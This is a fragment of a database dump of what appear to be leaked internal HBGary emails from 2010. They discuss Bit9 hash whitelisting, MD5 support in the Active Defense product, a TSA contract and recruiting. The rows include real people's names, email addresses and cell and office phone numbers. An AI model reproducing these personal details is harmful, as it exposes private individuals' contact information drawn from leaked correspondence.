}\r\n\r\n\r\n',3589,'aaron_hbgary_com/3589.html'),(10664,'2010-08-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008233.M117933P14101Q5519.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','RE: Ted met with Bit9','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt doesn&#8217;t get rid of our false positives.&nbsp; We&#8217;ve already\r\nchecked\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 19, 2010 11:37 AM\r\nTo: Maria Lucas\r\nCc: Penny C. Hoglund; Greg Hoglund; Rich Cummings; Michael G. Spohn;\r\nPhil Wallisch; Joe Pizzo\r\nSubject: Re: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nReduction of false positives would be good. &nbsp;InQtel\r\ntold me the only reason they funded FireEye was because of extremely low false\r\npositives. Didn\'t matter as much how much much they caught.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 19, 2010, at 2:31 PM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBit9 stopped by the booth.&nbsp; They have an OEM white\r\nlisting service that Mandiant and Guidance Software both use.&nbsp; Ted\r\nunderstood that it may be beneficial to consider this for Active Defense to\r\nhelp reduce false positives.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThey have OEM pricing and will would like to setup a telecom\r\nto discuss if we are interested?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom a sales perspective I have agreed to work with the\r\nFederal Sales team in the same way we work with Fidelus -- to share leads and\r\naccount opportunities....Maria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12504,'aaron_hbgary_com/12504.html'),(10665,'2010-08-20','\"Signal\" <signal@readexsurvey.com>','/aaron@hbgary.com/new/1297008233.M334008P14101Q5520.eml','aaron@hbgary.com','Signal Reader Survey','August 20, 2010\r\n\r\nDear Signal Reader:\r\n\r\nRecently I e-mailed you, asking for your help in making Signal an even more interesting and informative publication for readers like you.\r\n\r\nTo date, many valuable replies to the survey have been received - but yours is not among them.  If your reply came in while this note was being posted, please consider it a sincere \"Thank You!\" for your help.\r\n\r\nIf not, we need to hear from you.  Because the number of Signal readers being contacted is small, your response is vital for valid and meaningful results.  As a token of our appreciation, your name will be entered into a drawing for a silver level gift of your choosing (an estimated $50 value) from our online gift store, www.giftdonkey.com, once you have completed the survey. \r\n\r\nPlease take a few minutes now to make your opinions known by locating your August 2010 issue and pointing your browser to \r\n\r\nhttp://www.readexsurvey.com/signal/survey.asp?xyddttjym\r\n\r\nand following the directions on the form.\r\n\r\nThank you for taking time from your busy schedule to help make Signal a better publication for all its readers.  Don\'t forget to include yourself in the drawing at the end of the survey.\r\n\r\nSincerely,\r\n\r\nAngela Thorson\r\nProject Director\r\n\r\n-----------------------\r\nWe apologize if this correspondence reached you in error.  This contact was selected by Readex Research from a list provided by Signal for the purpose of this survey only.  Readex adheres to ethical practices, and respects your rights of privacy and choice.  To be eliminated from additional contact from Readex on behalf of this survey sponsor, please go here - www.readexsurvey.com/drop.htm?aaron@hbgary.com\r\nor reply with the following as the subject: drop aaron@hbgary.com\r\n\r\nReadex Research\r\n2251 Tower Drive W\r\nStillwater, MN 55082\r\nUSA\r\n\r\n\r\n\r\n\r\n',858,'aaron_hbgary_com/858.html'),(10666,'2010-08-20','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008233.M568255P14101Q5521.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','RE: Ted met with Bit9','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThere are 2 things at play here regarding the Bit9 stuff.\r\n\r\n \r\n\r\n1.      \r\nBit 9 OEM’s their MD5 hash database to Guidance Software. \r\nI assume that is what Mandiant is doing too.  Guidance doesn’t integrate\r\nwith Bit9 software to do white listing and block applications from\r\nrunning.  The encase integration is an enscript that performs a look up to\r\nthe Bit9 DB check to see if there are any *matches* in the data base for\r\nthe MD5’s that Encase finds on the disk… If there are then Encase\r\nprovides the Bit9 intelligence about the file it knows about.\r\n\r\n2.      \r\nBit9 has a commercial white listing enterprise product with an\r\nagent that gets installed on the end point.  The agent doesn’t allow\r\napplications to run on the end node machines unless the MD5 hash is first\r\napproved by Bit9.  Neither Guidance nor Mandiant use this technology.\r\n\r\n \r\n\r\nJohn Hopkins Applied Physics Lab has the latter and I saw it in\r\naction when I was doing the POC with them.   We had to approve the\r\nDDNA.exe file with Bit9 before it would install and run successfully. \r\nThey said they like bit9 but sometimes legitimate applications don’t run\r\nproperly.\r\n\r\n \r\n\r\nLos Alamos asked when we’re going to start using MD5\r\nhashes in Active Defense while I was onsite this week.  I’m adding\r\nthis to a support ticket to get into Engineering queue.\r\n\r\n \r\n\r\nBottom line is that MD5 hashes (and the SHA hashes) are the\r\nstandard for all digital forensics on disk.  With that said Active Defense\r\ncan benefit from starting to utilize MD5 hashes or SHA-1 or SHA-256 hashes for\r\na number of reasons. \r\n\r\n1.      \r\nTo verify integrity of files i.e. when I find a piece of\r\nmalware, I hash it.  When I send this file to someone, they can hash it\r\nfirst to make sure they have an exact bit-for-bit image of the malware. \r\nThis applies to Memory Snapshots and files copied off remote machines like the\r\nSAM file, index.dats, prefetch files, etc.\r\n\r\n2.      \r\nIdentify known good and bad files but also Active Defense needs\r\nto start incorporating.\r\n\r\n3.      \r\nThe requests I got this week from Los Alamos were to include MD5\r\nhashes in Scan Policy should include RAWVOLUME.FILE -&gt; if name =  blah AND\r\nMD5 = 23049830498230489203984203984 \r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, August 20, 2010 9:44 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Maria Lucas&#39;\r\nCc: &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;Michael G. Spohn&#39;; &#39;Phil\r\nWallisch&#39;; &#39;Joe Pizzo&#39;\r\nSubject: RE: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIt doesn’t get rid of our false positives. \r\nWe’ve already checked\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 19, 2010 11:37 AM\r\nTo: Maria Lucas\r\nCc: Penny C. Hoglund; Greg Hoglund; Rich Cummings; Michael G. Spohn;\r\nPhil Wallisch; Joe Pizzo\r\nSubject: Re: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nReduction of false positives would be good.  InQtel\r\ntold me the only reason they funded FireEye was because of extremely low false\r\npositives. Didn&#39;t matter as much how much much they caught.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 19, 2010, at 2:31 PM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBit9 stopped by the booth.  They have an OEM white\r\nlisting service that Mandiant and Guidance Software both use.  Ted\r\nunderstood that it may be beneficial to consider this for Active Defense to\r\nhelp reduce false positives.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThey have OEM pricing and will would like to setup a telecom\r\nto discuss if we are interested?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom a sales perspective I have agreed to work with the\r\nFederal Sales team in the same way we work with Fidelus -- to share leads and\r\naccount opportunities....Maria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6642,'aaron_hbgary_com/6642.html'),(10667,'2010-08-20','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008233.M835611P14101Q5522.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,,','Re: Ted met with Bit9','Yes please do add that support ticket.  I for one, totally agree.  Instead of hashes dying out with tradional disk imaging they are gaining in popularity.   Now even Joe Sixpack (home user) can easily leverage Team Cymru&#39;s DB:  http://krebsonsecurity.com/2010/08/reintroducing-the-malware-hash-registry/\r\nShadowserver has a new free hash service:  http://bin-test.shadowserver.org/On Fri, Aug 20, 2010 at 10:12 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThere are 2 things at play here regarding the Bit9 stuff.\r\n\r\n \r\n\r\n1.      \r\nBit 9 OEM’s their MD5 hash database to Guidance Software. \r\nI assume that is what Mandiant is doing too.  Guidance doesn’t integrate\r\nwith Bit9 software to do white listing and block applications from\r\nrunning.  The encase integration is an enscript that performs a look up to\r\nthe Bit9 DB check to see if there are any *matches* in the data base for\r\nthe MD5’s that Encase finds on the disk… If there are then Encase\r\nprovides the Bit9 intelligence about the file it knows about.\r\n\r\n2.      \r\nBit9 has a commercial white listing enterprise product with an\r\nagent that gets installed on the end point.  The agent doesn’t allow\r\napplications to run on the end node machines unless the MD5 hash is first\r\napproved by Bit9.  Neither Guidance nor Mandiant use this technology.\r\n\r\n \r\n\r\nJohn Hopkins Applied Physics Lab has the latter and I saw it in\r\naction when I was doing the POC with them.   We had to approve the\r\nDDNA.exe file with Bit9 before it would install and run successfully. \r\nThey said they like bit9 but sometimes legitimate applications don’t run\r\nproperly.\r\n\r\n \r\n\r\nLos Alamos asked when we’re going to start using MD5\r\nhashes in Active Defense while I was onsite this week.  I’m adding\r\nthis to a support ticket to get into Engineering queue.\r\n\r\n \r\n\r\nBottom line is that MD5 hashes (and the SHA hashes) are the\r\nstandard for all digital forensics on disk.  With that said Active Defense\r\ncan benefit from starting to utilize MD5 hashes or SHA-1 or SHA-256 hashes for\r\na number of reasons. \r\n\r\n1.      \r\nTo verify integrity of files i.e. when I find a piece of\r\nmalware, I hash it.  When I send this file to someone, they can hash it\r\nfirst to make sure they have an exact bit-for-bit image of the malware. \r\nThis applies to Memory Snapshots and files copied off remote machines like the\r\nSAM file, index.dats, prefetch files, etc.\r\n\r\n2.      \r\nIdentify known good and bad files but also Active Defense needs\r\nto start incorporating.\r\n\r\n3.      \r\nThe requests I got this week from Los Alamos were to include MD5\r\nhashes in Scan Policy should include RAWVOLUME.FILE -&gt; if name =  blah AND\r\nMD5 = 23049830498230489203984203984 \r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, August 20, 2010 9:44 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Maria Lucas&#39;\r\nCc: &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;Michael G. Spohn&#39;; &#39;Phil\r\nWallisch&#39;; &#39;Joe Pizzo&#39;\r\nSubject: RE: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIt doesn’t get rid of our false positives. \r\nWe’ve already checked\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 19, 2010 11:37 AM\r\nTo: Maria Lucas\r\nCc: Penny C. Hoglund; Greg Hoglund; Rich Cummings; Michael G. Spohn;\r\nPhil Wallisch; Joe Pizzo\r\nSubject: Re: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nReduction of false positives would be good.  InQtel\r\ntold me the only reason they funded FireEye was because of extremely low false\r\npositives. Didn&#39;t matter as much how much much they caught.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 19, 2010, at 2:31 PM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBit9 stopped by the booth.  They have an OEM white\r\nlisting service that Mandiant and Guidance Software both use.  Ted\r\nunderstood that it may be beneficial to consider this for Active Defense to\r\nhelp reduce false positives.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThey have OEM pricing and will would like to setup a telecom\r\nto discuss if we are interested?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom a sales perspective I have agreed to work with the\r\nFederal Sales team in the same way we work with Fidelus -- to share leads and\r\naccount opportunities....Maria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',14804,'aaron_hbgary_com/14804.html'),(10668,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008234.M245686P14101Q5524.eml','\"Bill Luti\" <wluti@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Digital Forensics','Past Performance:\r\n\r\nNorthrop\r\nJTF-GNO (Joint Task Force - Global Network Operations) - Northrop runs the whole IA show from SOC, Threat Management, Forensics.  This organization is responsible for protecting all of .mil.  They have experience in doing advanced forensics and use all the tools listed.\r\n\r\n1st IO - they run the ACERT/SOC for the Army, this include all incident response, SOC, Forensics work.  They have experience in doing advanced forensics and use all the tools listed.\r\n\r\nMCNOSC - Marine corp SOC.  Northrop runs this SOC and I assume the also do forensics on this contract.\r\n\r\n\r\nHBGary:\r\nWe have forensic product deployed in just about every SOC/CERT/Forensic shop you can shake a stick at.  TSA, DHS, DOJ, USDI, FBI, NSA, 1st IO, FAA, ... list goes on and on.  I have not run across a single Forensic government shop that does not have the Responder product, its consider the best commercial product available for forensics.\r\n\r\nWhile HBGary does not have a lot of past performance experience for forensic services, they do have a lot of experience doing this for very large financial institutions, IT companies, fortune 500 companies, fortune100 companies.  Unfortunately I can\'t name them under NDA (most don\'t like people to know they were compromised).\r\n\r\nDoes this help?  Need more?\r\n\r\nAaron\r\n\r\n\r\n',742,'aaron_hbgary_com/742.html'),(10669,'2010-08-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008234.M453886P14101Q5525.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: TSA ITSSS','This is the contract, work with Aaron to make sure this isn\'t your deal\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com] \r\nSent: Wednesday, August 11, 2010 6:57 AM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Bob Slapnik; Maria Lucas\r\nSubject: TSA ITSSS\r\n\r\nSo here are some of the requirements for the TSA ITSSS contract in FY10.\r\nMost of these capabilities they don\'t currently have.  If we win this we\r\nwill be implementing the full suite of HBGary Products (AD, Responder, TMC)\r\nand Palantir and Fidelis.\r\n\r\nDIGITAL FORENSICS:\r\n150 Cases for FY10: 50% of those 2+ weeks effort each.\r\nExpanded support in Program Analysis and E-Discovery.  Support to CI.\r\nTraining Development.\r\nWill develop a malware reverse engineering capability.\r\nWill develop a malware sandbox network.\r\nWill develop advanced processes and procedures to proactively detect\r\nintrusions and compromises.\r\n\r\nCOMPUTER NETWORK DEFENSE:\r\nFY10 addition of remote systems to TSA SOC Monitoring.\r\nBegin security monitoring of the non-OIT managed IT systems and integrate\r\nthem with the IAD IR procedures.\r\nWill develop a cyber intelligence capability.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14543,'aaron_hbgary_com/14543.html'),(10670,'2010-08-20','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008234.M49648P14101Q5523.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,,,','RE: Ted met with Bit9','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSupport ticket already in.  J\r\n\r\n \r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Friday, August 20, 2010 10:28 AM\r\nTo: Rich Cummings\r\nCc: Penny Leavy; Aaron Barr; Maria Lucas; Greg Hoglund; Mike Spohn; Joe\r\nPizzo\r\nSubject: Re: Ted met with Bit9\r\n\r\n\r\n\r\n \r\n\r\nYes please do add that support\r\nticket.  I for one, totally agree.  Instead of hashes dying out with\r\ntradional disk imaging they are gaining in popularity.  \r\n \r\nNow even Joe Sixpack (home user) can easily leverage Team Cymru&#39;s DB:  http://krebsonsecurity.com/2010/08/reintroducing-the-malware-hash-registry/\r\n\r\n\r\nShadowserver has a new free hash service:  http://bin-test.shadowserver.org/\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Aug 20, 2010 at 10:12 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThere are 2 things at play here\r\nregarding the Bit9 stuff.\r\n\r\n \r\n\r\n1.       Bit 9 OEM’s their MD5 hash database to\r\nGuidance Software.  I assume that is what Mandiant is doing too. \r\nGuidance doesn’t integrate with Bit9 software to do white listing and block\r\napplications from running.  The encase integration is an enscript that\r\nperforms a look up to the Bit9 DB check to see if there are any *matches*\r\nin the data base for the MD5’s that Encase finds on the disk… If there are then\r\nEncase provides the Bit9 intelligence about the file it knows about.\r\n\r\n2.       Bit9 has a commercial white listing\r\nenterprise product with an agent that gets installed on the end point. \r\nThe agent doesn’t allow applications to run on the end node machines unless the\r\nMD5 hash is first approved by Bit9.  Neither Guidance nor Mandiant use\r\nthis technology.\r\n\r\n \r\n\r\nJohn Hopkins Applied Physics Lab has the\r\nlatter and I saw it in action when I was doing the POC with them. \r\n We had to approve the DDNA.exe file with Bit9 before it would install and\r\nrun successfully.  They said they like bit9 but sometimes legitimate\r\napplications don’t run properly.\r\n\r\n \r\n\r\nLos Alamos asked when we’re going to\r\nstart using MD5 hashes in Active Defense while I was onsite this week. \r\nI’m adding this to a support ticket to get into Engineering queue.\r\n\r\n \r\n\r\nBottom line is that MD5 hashes (and the\r\nSHA hashes) are the standard for all digital forensics on disk.  With that\r\nsaid Active Defense can benefit from starting to utilize MD5 hashes or SHA-1 or\r\nSHA-256 hashes for a number of reasons. \r\n\r\n1.       To verify integrity of files i.e. when I\r\nfind a piece of malware, I hash it.  When I send this file to someone,\r\nthey can hash it first to make sure they have an exact bit-for-bit image of the\r\nmalware.  This applies to Memory Snapshots and files copied off remote\r\nmachines like the SAM file, index.dats, prefetch files, etc.\r\n\r\n2.       Identify known good and bad files but\r\nalso Active Defense needs to start incorporating.\r\n\r\n3.       The requests I got this week from Los\r\nAlamos were to include MD5 hashes in Scan Policy should include RAWVOLUME.FILE\r\n-&gt; if name =  blah AND MD5 = 23049830498230489203984203984 \r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny\r\nLeavy-Hoglund [mailto:penny@hbgary.com]\r\n\r\nSent: Friday, August 20, 2010 9:44 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Maria Lucas&#39;\r\nCc: &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;Michael G. Spohn&#39;; &#39;Phil\r\nWallisch&#39;; &#39;Joe Pizzo&#39;\r\nSubject: RE: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIt doesn’t get rid of our false\r\npositives.  We’ve already checked\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron\r\nBarr [mailto:aaron@hbgary.com]\r\n\r\nSent: Thursday, August 19, 2010 11:37 AM\r\nTo: Maria Lucas\r\nCc: Penny C. Hoglund; Greg Hoglund; Rich Cummings; Michael G. Spohn;\r\nPhil Wallisch; Joe Pizzo\r\nSubject: Re: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nReduction\r\nof false positives would be good.  InQtel told me the only reason they funded\r\nFireEye was because of extremely low false positives. Didn&#39;t matter as much how\r\nmuch much they caught.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 19, 2010, at 2:31 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBit9\r\nstopped by the booth.  They have an OEM white listing service that\r\nMandiant and Guidance Software both use.  Ted understood that it may be\r\nbeneficial to consider this for Active Defense to help reduce false\r\npositives.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThey\r\nhave OEM pricing and will would like to setup a telecom to discuss if we are\r\ninterested?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom\r\na sales perspective I have agreed to work with the Federal Sales team in the\r\nsame way we work with Fidelus -- to share leads and account\r\nopportunities....Maria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10102,'aaron_hbgary_com/10102.html'),(10671,'2010-08-20','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008234.M670130P14101Q5526.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Digital Forensics','Yes, this is very helpful. I have a call into Cal Smith as well. If you think or more send it our way.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 10:43 AM\r\nTo: William Luti; John Fanguy\r\nSubject: Digital Forensics\r\n\r\nPast Performance:\r\n\r\nNorthrop\r\nJTF-GNO (Joint Task Force - Global Network Operations) - Northrop runs the whole IA show from SOC, Threat Management, Forensics.  This organization is responsible for protecting all of .mil.  They have experience in doing advanced forensics and use all the tools listed.\r\n\r\n1st IO - they run the ACERT/SOC for the Army, this include all incident response, SOC, Forensics work.  They have experience in doing advanced forensics and use all the tools listed.\r\n\r\nMCNOSC - Marine corp SOC.  Northrop runs this SOC and I assume the also do forensics on this contract.\r\n\r\n\r\nHBGary:\r\nWe have forensic product deployed in just about every SOC/CERT/Forensic shop you can shake a stick at.  TSA, DHS, DOJ, USDI, FBI, NSA, 1st IO, FAA, ... list goes on and on.  I have not run across a single Forensic government shop that does not have the Responder product, its consider the best commercial product available for forensics.\r\n\r\nWhile HBGary does not have a lot of past performance experience for forensic services, they do have a lot of experience doing this for very large financial institutions, IT companies, fortune 500 companies, fortune100 companies.  Unfortunately I can\'t name them under NDA (most don\'t like people to know they were compromised).\r\n\r\nDoes this help?  Need more?\r\n\r\nAaron\r\n\r\n\r\n',10182,'aaron_hbgary_com/10182.html'),(10672,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008244.M276576P14101Q5527.eml','rpeacock1128@gmail.com','Opportunities','Hi Rich,\r\n\r\nIf you have a moment I would still like to very much talk to you about the opportunities at HBGary Federal and get a feel for your level of interest, hear what you think.\r\n\r\nAttached is HBGary Federals data sheets covering our vision of cybersecurity, which at its heart is about improving malware analysis, integrating malware internal information with other cyber and social data to build threat maps which can enhance the whole incident response process.  Also attached is a datasheet on what we are doing in the social media space, which has a strong tie to threat intelligence as well.\r\n\r\nWe have lots of exciting opportunities, defense and offense, government and commercial.  I think our focus and business path is the right approach.\r\n\r\nPlease let me know when would be a good time to discuss either on the phone or in person.\r\n\r\nThanks,\r\nAaron\r\n719.510.8478\r\n\r\n',6003,'aaron_hbgary_com/6003.html'),(10673,'2010-08-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008248.M773328P14101Q5528.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,,,,','Hashes and Active Defense',' \r\nTeam,\r\n \r\nMD5 hashes (and SHA) are easy for customers to use, but they have one serious drawback.  They can only tell you that a program belongs to a set while it&#39;s at rest or in transit.  They cannot do that for files that are in execution.  If a program is trusted, for example, on disk - this means you can check the hash when the program is LAUNCHED.  This is fine, and trust is established.  However, as that program persists over time it can be the target of a code injection.  Fast forward to Active Defense - let&#39;s say we find a high scoring DDNA object in memory and we have the path to the source DLL on disk.  We can take the hash of the file on disk, of course - but that tells us nothing about our high scoring DDNA module in memory.  These are effectively two DIFFERENT files - the one in memory has been executing for some period of time, maybe days or weeks, and could be loaded with injected malware.  The DLL on disk being in Bit9&#39;s database has no meaning to us.\r\n\r\n \r\nThe above disclaimer aside, it&#39;s nearly trivial to add RawVolume.File.MD5 and RawVolume.File.SHA to the query language (we should not add LiveOS.Module.MD5 or anything like that - in memory we need to use fuzzy hashing because of the volatile nature).\r\n\r\n \r\nStated bluntly - here is what I am afraid will happen - you guys will get a clean on-disk MD5 hit on the cooresponding EXE for a high scoring module and auto whitelist it.  And, the malware gets away with it.  It&#39;s similar to what would happen today if a malware named it&#39;s process+module the same as one of them in our Active Defense whitelist.\r\n\r\n \r\nHere is a second problem - why are non-malicious programs getting high DDNA scores?  Shouldn&#39;t we fix DDNA instead of layering a filter over it to mask the issue? In engineering this is known as a &#39;band aid solution&#39;.  That is, instead of fixing the bug in a software component, you layer a second software component over the first to mask it.  It&#39;s a huge no-no.  So, in this case, adding MD5 whitelisting is like masking a bug in DDNA.  DDNA should not be scoring high on lotus notes or microsoft word.  That is a bug that needs to be filed.  If we add auto whitelisting we will no longer see these problems in DDNA, they will be hidden from us. \r\n\r\n \r\n-Greg\r\n \r\nOn Fri, Aug 20, 2010 at 7:28 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nSupport ticket already in.  J\r\n\r\n \r\n\r\nFrom: Phil Wallisch [mailto:phil@hbgary.com] Sent: Friday, August 20, 2010 10:28 AM\r\nTo: Rich CummingsCc: Penny Leavy; Aaron Barr; Maria Lucas; Greg Hoglund; Mike Spohn; Joe Pizzo \r\n\r\n\r\nSubject: Re: Ted met with Bit9\r\n\r\n\r\n\r\n\r\n \r\nYes please do add that support ticket.  I for one, totally agree.  Instead of hashes dying out with tradional disk imaging they are gaining in popularity.   Now even Joe Sixpack (home user) can easily leverage Team Cymru&#39;s DB:  http://krebsonsecurity.com/2010/08/reintroducing-the-malware-hash-registry/\r\nShadowserver has a new free hash service:  http://bin-test.shadowserver.org/\r\n\r\nOn Fri, Aug 20, 2010 at 10:12 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n \r\nThere are 2 things at play here regarding the Bit9 stuff.\r\n 